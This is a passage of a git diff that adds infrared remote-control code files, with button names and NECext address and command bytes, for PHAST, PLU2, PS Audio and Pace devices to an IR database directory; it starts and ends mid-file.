00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: KEY_E +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/PHAST/PLR-IR1/85,-1.ir b/assets/resources/infrared/_CSV-IRDB_/PHAST/PLR-IR1/85,-1.ir new file mode 100644 index 000000000..12d5d1d52 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/PHAST/PLR-IR1/85,-1.ir @@ -0,0 +1,794 @@ +Filetype: IR signals file +Version: 1 +# +name: Z_-_RECORD +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 44 00 00 00 +# +name: Z_-_RECORD +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 45 00 00 00 +# +name: Z_-_RECORD +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 46 00 00 00 +# +name: Z_-_RECORD +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 47 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 48 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 49 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 4A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 4B 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 4C 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 4D 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 4E 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 4F 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 50 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 51 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 52 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 53 00 00 00 +# +name: CURSOR_-_RIGHT +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 54 00 00 00 +# +name: CURSOR_-_RIGHT +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 55 00 00 00 +# +name: CURSOR_-_RIGHT +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 56 00 00 00 +# +name: CURSOR_-_RIGHT +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 57 00 00 00 +# +name: VOLUME_-_MUTE +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 58 00 00 00 +# +name: VOLUME_-_MUTE +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 59 00 00 00 +# +name: VOLUME_-_MUTE +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 5A 00 00 00 +# +name: VOLUME_-_MUTE +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 5B 00 00 00 +# +name: Z_-_FAST_REWIND +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 60 00 00 00 +# +name: Z_-_FAST_REWIND +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 61 00 00 00 +# +name: Z_-_FAST_REWIND +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 62 00 00 00 +# +name: Z_-_FAST_REWIND +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 63 00 00 00 +# +name: Z_-_PAUSE +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 64 00 00 00 +# +name: Z_-_PAUSE +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 65 00 00 00 +# +name: Z_-_PAUSE +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 66 00 00 00 +# +name: Z_-_PAUSE +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 67 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 68 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 69 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 6A 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 6B 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 6C 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 6D 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 6E 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 6F 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 70 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 71 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 72 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 73 00 00 00 +# +name: CURSOR_-_UP +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 74 00 00 00 +# +name: CURSOR_-_UP +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 75 00 00 00 +# +name: CURSOR_-_UP +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 76 00 00 00 +# +name: CURSOR_-_UP +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 77 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 78 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 79 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 7A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 7B 00 00 00 +# +name: Z_-_PLAY +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 80 00 00 00 +# +name: Z_-_PLAY +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 81 00 00 00 +# +name: Z_-_PLAY +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 82 00 00 00 +# +name: Z_-_PLAY +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 83 00 00 00 +# +name: ALL_OFF +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 84 00 00 00 +# +name: ALL_OFF +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 85 00 00 00 +# +name: ALL_OFF +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 86 00 00 00 +# +name: ALL_OFF +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 87 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 88 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 89 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 8A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 8B 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 8C 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 8D 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 8E 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 8F 00 00 00 +# +name: CURSOR_-_DOWN +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 90 00 00 00 +# +name: CURSOR_-_DOWN +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 91 00 00 00 +# +name: CURSOR_-_DOWN +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 92 00 00 00 +# +name: CURSOR_-_DOWN +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 93 00 00 00 +# +name: VOLUME_-_DOWN +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 94 00 00 00 +# +name: VOLUME_-_DOWN +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 95 00 00 00 +# +name: VOLUME_-_DOWN +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 96 00 00 00 +# +name: VOLUME_-_DOWN +type: parsed +protocol: NECext +address: 55 00 00 00 +command: 97 00 00 00 +# +name: Z_-_FAST_FORWARD +type: parsed +protocol: NECext +address: 55 00 00 00 +command: A0 00 00 00 +# +name: Z_-_FAST_FORWARD +type: parsed +protocol: NECext +address: 55 00 00 00 +command: A1 00 00 00 +# +name: Z_-_FAST_FORWARD +type: parsed +protocol: NECext +address: 55 00 00 00 +command: A2 00 00 00 +# +name: Z_-_FAST_FORWARD +type: parsed +protocol: NECext +address: 55 00 00 00 +command: A3 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: A4 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: A5 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: A6 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: A7 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: A8 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: A9 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: AA 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: AB 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: AC 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: AD 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: AE 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: AF 00 00 00 +# +name: CURSOR_-_LEFT +type: parsed +protocol: NECext +address: 55 00 00 00 +command: B0 00 00 00 +# +name: CURSOR_-_LEFT +type: parsed +protocol: NECext +address: 55 00 00 00 +command: B1 00 00 00 +# +name: CURSOR_-_LEFT +type: parsed +protocol: NECext +address: 55 00 00 00 +command: B2 00 00 00 +# +name: CURSOR_-_LEFT +type: parsed +protocol: NECext +address: 55 00 00 00 +command: B3 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 55 00 00 00 +command: B4 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 55 00 00 00 +command: B5 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 55 00 00 00 +command: B6 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 55 00 00 00 +command: B7 00 00 00 +# +name: PHAST +type: parsed +protocol: NECext +address: 55 00 00 00 +command: B8 00 00 00 +# +name: PHAST +type: parsed +protocol: NECext +address: 55 00 00 00 +command: B9 00 00 00 +# +name: PHAST +type: parsed +protocol: NECext +address: 55 00 00 00 +command: BA 00 00 00 +# +name: PHAST +type: parsed +protocol: NECext +address: 55 00 00 00 +command: BB 00 00 00 +# +name: Z_-_STOP +type: parsed +protocol: NECext +address: 55 00 00 00 +command: C0 00 00 00 +# +name: Z_-_STOP +type: parsed +protocol: NECext +address: 55 00 00 00 +command: C1 00 00 00 +# +name: Z_-_STOP +type: parsed +protocol: NECext +address: 55 00 00 00 +command: C2 00 00 00 +# +name: Z_-_STOP +type: parsed +protocol: NECext +address: 55 00 00 00 +command: C3 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 55 00 00 00 +command: C4 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 55 00 00 00 +command: C5 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 55 00 00 00 +command: C6 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 55 00 00 00 +command: C7 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: C8 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: C9 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: CA 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 55 00 00 00 +command: CB 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 55 00 00 00 +command: CC 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 55 00 00 00 +command: CD 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 55 00 00 00 +command: CE 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 55 00 00 00 +command: CF 00 00 00 +# +name: CURSOR_-_ENTER +type: parsed +protocol: NECext +address: 55 00 00 00 +command: D0 00 00 00 +# +name: CURSOR_-_ENTER +type: parsed +protocol: NECext +address: 55 00 00 00 +command: D1 00 00 00 +# +name: CURSOR_-_ENTER +type: parsed +protocol: NECext +address: 55 00 00 00 +command: D2 00 00 00 +# +name: CURSOR_-_ENTER +type: parsed +protocol: NECext +address: 55 00 00 00 +command: D3 00 00 00 +# +name: VOLUME_-_UP +type: parsed +protocol: NECext +address: 55 00 00 00 +command: D4 00 00 00 +# +name: VOLUME_-_UP +type: parsed +protocol: NECext +address: 55 00 00 00 +command: D5 00 00 00 +# +name: VOLUME_-_UP +type: parsed +protocol: NECext +address: 55 00 00 00 +command: D6 00 00 00 +# +name: VOLUME_-_UP +type: parsed +protocol: NECext +address: 55 00 00 00 +command: D7 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 55 00 00 00 +command: D8 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 55 00 00 00 +command: D9 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 55 00 00 00 +command: DA 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 55 00 00 00 +command: DB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/PLU2/Unknown_DVX-345pro/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/PLU2/Unknown_DVX-345pro/0,-1.ir new file mode 100644 index 000000000..1736ee4f1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/PLU2/Unknown_DVX-345pro/0,-1.ir @@ -0,0 +1,302 @@ +Filetype: IR signals file +Version: 1 +# +name: intro +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: step +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: track +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: abrpt +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: slow.rev +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: slow.fwd +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: f.fwd +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: pbc +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: f.rev +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: ntsc.pal +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/PS Audio/CD Player/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/PS Audio/CD Player/20,-1.ir new file mode 100644 index 000000000..3b64f365f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/PS Audio/CD Player/20,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2D 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: A>B +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DC551P/27,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DC551P/27,-1.ir new file mode 100644 index 000000000..bc90253cf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DC551P/27,-1.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0C 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 19 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DI4001N/10,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DI4001N/10,-1.ir new file mode 100644 index 000000000..a6311623a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DI4001N/10,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 09 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0A 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0B 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0C 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 21 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 28 00 00 00 +# +name: Browse +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 2F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 46 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 4F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 51 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 52 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 53 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 56 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 57 00 00 00 +# +name: Interactive +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 61 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6A 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6E 00 00 00 +# +name: Internet +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6F 00 00 00 +# +name: KEY_EMAIL +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 70 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 71 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DI4010I/10,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DI4010I/10,-1.ir new file mode 100644 index 000000000..3f5935c55 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DI4010I/10,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 09 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0A 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0C 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0F 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 10 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: 